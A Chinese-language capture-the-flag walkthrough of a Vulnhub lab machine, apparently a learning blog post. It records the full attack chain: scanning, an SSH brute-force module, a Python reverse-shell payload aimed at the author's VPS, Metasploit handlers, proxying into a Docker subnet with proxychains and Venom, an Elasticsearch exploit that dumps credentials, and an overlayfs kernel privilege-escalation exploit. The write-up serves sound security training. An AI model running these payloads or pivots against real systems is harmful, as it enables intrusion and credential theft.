文章目录
- 环境搭建
- 信息收集
- 主机发现:
- 端口扫描
- Web 渗透
- (CVE-2019-14322)Pallets Werkzeug 0.15.4 路径遍历漏洞
- 代码注入-反弹shell
- 关于Dockerfile
- 判断是否在Docker环境中:
- Command SHELL 提升至 Meterpreter
- 方法一
- 方法二
- Docker环境中存在内网环境
- 内网主机探测
- shell脚本-ping存活ip
- 内网渗透-本地msf自动化
- 手工 公网vps内网渗透
- Venom 代理
- 漏洞利用-内核提权-攻击代码修改
- 思考及问题
- 参考
关键词:主机发现 端口扫描 服务发现 路径爬取 代码注入 Shell脚本 内网信息收集 内网穿透 漏洞利用 密码破解 本地提权 攻击代码修改
环境搭建
官网下载地址(下载比较慢):https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
靶机百度云链接
第一次搭建时,进行主机探测,发现靶机只开了22 ssh服务,我寻思不能ssh爆破一下就结束了吧,查了一下资料,发现靶机还应该开放5000端口。遂重新下载导入了一次才正常(还有一种情况是连主机都探测不到,可能是网络适配器设置问题)
信息收集
主机发现:
arp-scan -l
端口扫描
nmap -sS -sV -T4 -A -p- 10.10.10.154
两种思路:1.ssh爆破 2.通过5000 端口 Python搭建的Web服务
ssh爆破:看运气
use auxiliary/scanner/ssh/ssh_login
set rhost 10.10.10.154
set USER_FILE user.txt
set PASS_FILE pass.txt
run
Web 渗透
dirsearch 扫一下
python3 dirsearch.py -u http://10.10.10.154:5000/ -e html js
插了一下xss 未解析
根据服务探测的信息
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
|_http-title: Leave a message
网上找找相关漏洞 以对应版本
(CVE-2019-14322)Pallets Werkzeug 0.15.4 路径遍历漏洞
搜索一下Werkzeug历史漏洞,发现了这个
在0.15.5之前的Pallets Werkzeug中,shareddatmiddleware错误处理了Windows路径名中的驱动器名。
试了试Poc,不存在该漏洞
代码注入-反弹shell
根据页面提示,这里可能存在代码执行
反弹shell平台:https://forum.ywhack.com/shell.php
靶机是Python环境,尝试注入Python版本反弹shell命令
还有一个问题就是这里给出的代码都是以命令行的形式执行进行上线的,而靶机页面给出的提示是exec()函数执行,直接复制上去是无法反弹shell的。
保量中间参数部分才能正常上线
Payload
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.94.xx.xx",5566));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Python 中,分号也可以用于分隔多条语句;在这段代码中,分号用于将多个语句放在一行中,以便在执行代码时只需要复制粘贴一行代码
执行相关命令后,发现Dockerfile文件,意味着5555端口开的web服务可能在Docker中
关于Dockerfile
Dockerfile 定义镜像,依赖镜像来运行容器,因此 Dockerfile 是镜像和容器的关键
Dockerfile 是一个文本文件,其内包含了一条条的指令(Instruction),每一条指令构建一层,因此每一条指令的内容,就是描述该层应当如何构建
判断是否在Docker环境中:
方法一:判断根目录下 .dockerenv 文件
ls -alh /.dockerenv #非docker环境,没有这个.dockerenv文件的
方法二:查询系统进程的cgroup信息
cat /proc/1/cgroup
Docker环境执行如下
非Docker 环境如下
实锤Dokcer环境
Command SHELL 提升至 Meterpreter
因为msf比较方便。所以将shell转交至msf中
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 6677
msf6 exploit(multi/handler) > exploit
另一个窗口监听本地6677端口,使用nc再次反弹过来
现在拿到的只有一个shell,但是怎么样才能使用msf其他功能呢? Upgrade Command Shell to Meterpreter
方法一
sesssions -u 1
但是这里很遗憾,在公网vps上没有提升成功
测试一下同局域网kali 可以
方法二
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit
这里还是没有提升成功,猜测可能是我用的公网vps的问题,使用本地kali可以
Docker环境中存在内网环境
内网主机探测
ip a
这里子网掩码有16位,意思就是主机数最多有2的16次方个
shell脚本-ping存活ip
for i in $(for j in $(seq 1 254));do ping -c 1 172.17.$i.$j;done #扫描65535个主机
因为是Docker环境,不至于会打开这么多镜像,所以只对c段的IP进行扫描
for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done
存活了三台主机除去自身的172.17.0.2,剩余两台172.17.0.1、172.17.0.3
因为直接从反弹的bash中无法使用其他工具进行内网渗透,所以这里我们使用代理
内网渗透-本地msf自动化
自动添加路由
添加代理
use auxiliary/server/socks_proxy
set SRVPORT 1234
修改proxychains 配置文件
vi /etc/proxychains.conf
然后使用proxychains 进行后续操作
本地kali进行服务探测比通过vps快多了
proxychains nmap -sV -sT 172.17.0.1
proxychains nmap -sV -sT 172.17.0.2
注意这里的9200 端口开启的htpp服务
proxychains nmap -sV -sT 172.17.0.3
这里还是有很多疑问的?
- 1 和 3 主机都有5000端口以及相同服务 哪一个是10.10.154的内网ip?
- 以及使用Docker搭建内网环境里面网络结构是什么样的?
在本地kali中使用自带的firefox条件socks 代理 访问 1和 3主机的5000端口以及 2的9200端口
配合在物理机访问10.10.10.154并进行留言,发现 1和3 都对应此网站
访问 172.17.0.2:9200端口
网上找以公开的elasticsearch 版本1.4.2 历史漏洞
找EXP直接利用
https://github.com/t0kx/exploit-CVE-2015-1427
直接是root 但这是一个POC好像
msf中可以搜到EXP
searchsploit elasticsearch
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2
拿到了一些用户及md5加密的密码,放到cmd5.com 进行解密
都能解密出来,有些需要付费……
可以登陆的是john:1337hack
这里可以使用ssh直接登陆
ssh登陆后发现是普通用户权限
手工 公网vps内网渗透
Venom 代理
https://github.com/Dliv3/Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
开启服务端(VPS)
./admin_linux_x64 -lport 7777
Python开启临时的 http 服务,在靶机上通过文件下载并执行
python3 -m http.server 88 #注意在Venom文件目录下执行
在靶机shell中执行
wget http://47.94.130.42:88/agent_linux_x64
chmod +x agent_linux_x64
./agent_linux_x64 -rhost 47.94.130.42 -rport 7777 #启动客户端
服务端连接成功,获取到了一个会话,进入这个会话中,开启一个 socks 代理
当然,这里还是需要工具来进行流量转发 linux平台使用proxychains
windows 代理详见 代理Socks协议&路由不出网&后渗透通讯&CS-MSF控制上线
这里我使用本地kali 连接vps开启的Socks代理(工具方便)
修改配置文件:
vim /etc/proxychains.conf
proxychains nmap -sV -sT 172.17.0.1
这里未指定端口范围,于是进行一些常见服务及端口的扫描
proxychains nmap -sV -sT 172.17.0.1 -p 1-65535 #p参数可以指定端口范围
扫个一两分钟就可以了,如果不经过公网代理的话,速度可能会快一些,当然真实环境下需要控制扫描速率,以防被封代理ip 后面渗透步骤等同于上方msf自动化,不再做演示
漏洞利用-内核提权-攻击代码修改
这里自己上传了les.sh进行分析,寻找可以使用的漏洞,一开始利用的经典脏牛,进行编译的时候才发现靶机上没有gcc编译器,当然也没有权限进行包管理(安装gcc),寻思有没有其他编译器使用,如clang或者tcc,编译自己的漏洞利用程序,当然也是没有的,那么如果我在本地编译成可执行程序在进行上传呢?我们都知道linux不同架构编译出来的程序不能通用(指令集不同)。网上查资料GCC支持在一个计算机上同时编译多个架构的程序,也就是说使用GCC编译器在X86架构上编译的程序同样可以在ARM架构上运行。于是我将kali本地编译的脏牛漏洞上传至靶机上
显示缺少libstdc++库,尝试能不能 apt-get install libstdc++6 一下,答案是没有权限,那么能不能从kali上把该库文件复制过来使用呢?复制过来需要放到/usr/lib/目录下,不然程序无法正常调用,然而该目录是禁止普通用户访问的。 走投无路了属于是,看到靶场提示的攻击代码修改,突然想到更改脏牛源代码使其调用自己放置的库文件,然后重新编译使用似乎可以。奈何自己内功不够,对着C语言源码看了一会不知所措……(脏牛EXP源代码中没有库利用痕迹,更换其他漏洞进行提权吧)
**这是其他大佬利用的漏洞 ‘overlayfs’ Local Privilege Escalation **
适用linux内核版本:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
EXP在kali中的位置
/usr/share/exploitdb/exploits/linux/local/37292.c
删除虚影部分代码,在kali中编译好,报错是正常现象,也会生成程序
按照上方思路,定位ofs-lib.so文件并一起打包放置靶机中,赋权后执行
locate ofs-lib.so
/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
思考及问题
msf 漏洞利用不熟练
对Docker搭建内网环境不熟悉
看到docker环境后没有尝试一些逃逸方法,因为看到靶机介绍并未有逃逸这一关键词,真实环境下应该尝试能否逃逸
修改EXP水平不够,对于库文件的调用以及编译过程不熟悉
一个靶机打一天 emmm
文章内容有不足的地方后续会补充
参考
https://www.freebuf.com/articles/web/321995.html
2023-3-24 留念 by whgojp